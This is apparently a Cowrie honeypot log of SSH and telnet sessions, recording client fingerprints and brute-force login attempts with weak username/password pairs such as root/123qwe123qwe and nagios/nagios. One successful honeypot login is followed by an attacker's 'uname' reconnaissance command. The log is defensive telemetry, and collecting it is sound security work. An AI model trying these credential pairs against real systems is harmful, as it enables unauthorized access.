{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49260,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e45328ad48d","protocol":"ssh","message":"New connection: 31.40.204.166:49260 (159.203.135.109:22) [session: 3e45328ad48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:24.684418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:24.689523Z","src_ip":"31.40.204.166","session":"3e45328ad48d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:24.821841Z","src_ip":"31.40.204.166","session":"3e45328ad48d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:25.320079Z","src_ip":"31.40.204.166","session":"3e45328ad48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.408358573913574,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:25.437011Z","src_ip":"152.42.224.71","session":"4c24eb9144bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.51607084274292,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:26.254575Z","src_ip":"152.42.224.71","session":"1d337f090013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:26.506697Z","src_ip":"31.40.204.166","session":"3e45328ad48d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39342,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e77c5b64a47","protocol":"telnet","message":"New connection: 152.42.224.71:39342 (10.17.0.5:23) [session: 5e77c5b64a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:26.607953Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27bf36e84a3","protocol":"telnet","message":"New connection: 152.42.224.71:39350 (10.17.0.5:23) [session: e27bf36e84a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:30.749851Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fc437cacce","protocol":"telnet","message":"New connection: 152.42.224.71:39366 (10.17.0.5:23) [session: a1fc437cacce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:35.350657Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f5c9037b64","protocol":"ssh","message":"New connection: 31.40.204.166:36434 (159.203.135.109:22) [session: 24f5c9037b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:36.181086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:36.184677Z","src_ip":"31.40.204.166","session":"24f5c9037b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:36.317098Z","src_ip":"31.40.204.166","session":"24f5c9037b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:36.995379Z","src_ip":"31.40.204.166","session":"24f5c9037b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:38.197729Z","src_ip":"31.40.204.166","session":"24f5c9037b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.077658891677856,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:38.434090Z","src_ip":"152.42.224.71","session":"a8163e27b863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00270414352417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:41.062114Z","src_ip":"152.42.224.71","session":"d58e7c105931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.666624546051025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:42.225578Z","src_ip":"152.42.224.71","session":"0907ab73437e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36758,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee57cf07d2b","protocol":"telnet","message":"New connection: 152.42.224.71:36758 (10.17.0.5:23) [session: bee57cf07d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:42.451112Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36768,"dst_ip":"10.17.0.5","dst_port":23,"session":"70aa12ac517f","protocol":"telnet","message":"New connection: 152.42.224.71:36768 (10.17.0.5:23) [session: 70aa12ac517f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:42.829340Z"}
{"eventid":"cowrie.session.closed","duration":27.50263261795044,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:47.363569Z","src_ip":"152.42.224.71","session":"7286ba4ee252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41844,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42fa1e72301","protocol":"ssh","message":"New connection: 103.75.182.198:41844 (10.17.0.5:22) [session: d42fa1e72301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:47.405043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:47.408542Z","src_ip":"103.75.182.198","session":"d42fa1e72301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:47.656288Z","src_ip":"103.75.182.198","session":"d42fa1e72301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38332,"dst_ip":"10.17.0.5","dst_port":23,"session":"4648bc13bf7e","protocol":"telnet","message":"New connection: 152.42.224.71:38332 (10.17.0.5:23) [session: 4648bc13bf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:47.929835Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9902b2c8a468","protocol":"ssh","message":"New connection: 31.40.204.166:47620 (159.203.135.109:22) [session: 9902b2c8a468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:48.279587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:48.284920Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe123qwe","message":"login attempt [root/123qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:48.401781Z","src_ip":"103.75.182.198","session":"d42fa1e72301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:48.410266Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.003969Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.325334Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.329011Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.30122017860413,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.488806Z","src_ip":"152.42.224.71","session":"f5e93f83c87e","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.494672Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.500496Z","src_ip":"31.40.204.166","session":"9902b2c8a468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.652917Z","src_ip":"103.75.182.198","session":"d42fa1e72301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38342,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12873698e36","protocol":"telnet","message":"New connection: 152.42.224.71:38342 (10.17.0.5:23) [session: c12873698e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:49.973955Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43258,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cc0e60e7a5b","protocol":"ssh","message":"New connection: 31.40.204.166:43258 (159.203.135.109:22) [session: 0cc0e60e7a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:47:59.983475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:00.092292Z","src_ip":"31.40.204.166","session":"0cc0e60e7a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:00.208266Z","src_ip":"31.40.204.166","session":"0cc0e60e7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.890644550323486,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:00.541618Z","src_ip":"152.42.224.71","session":"6891304e52c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:00.780264Z","src_ip":"31.40.204.166","session":"0cc0e60e7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:01.984687Z","src_ip":"31.40.204.166","session":"0cc0e60e7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.96157431602478,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:03.569433Z","src_ip":"152.42.224.71","session":"5e77c5b64a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.479209423065186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:04.228931Z","src_ip":"152.42.224.71","session":"e27bf36e84a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55832,"dst_ip":"10.17.0.5","dst_port":23,"session":"42709c3e24d0","protocol":"telnet","message":"New connection: 152.42.224.71:55832 (10.17.0.5:23) [session: 42709c3e24d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:08.232910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f4259df25e","protocol":"telnet","message":"New connection: 152.42.224.71:55828 (10.17.0.5:23) [session: f9f4259df25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:08.249040Z"}
{"eventid":"cowrie.session.closed","duration":33.88470506668091,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:09.235242Z","src_ip":"152.42.224.71","session":"a1fc437cacce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33172,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf4835df884","protocol":"ssh","message":"New connection: 31.40.204.166:33172 (159.203.135.109:22) [session: 0cf4835df884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:11.921881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:11.926886Z","src_ip":"31.40.204.166","session":"0cf4835df884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:12.106218Z","src_ip":"31.40.204.166","session":"0cf4835df884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:12.611952Z","src_ip":"31.40.204.166","session":"0cf4835df884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:48:13.816041Z","src_ip":"31.40.204.166","session":"0cf4835df884","protocol":"ssh"}
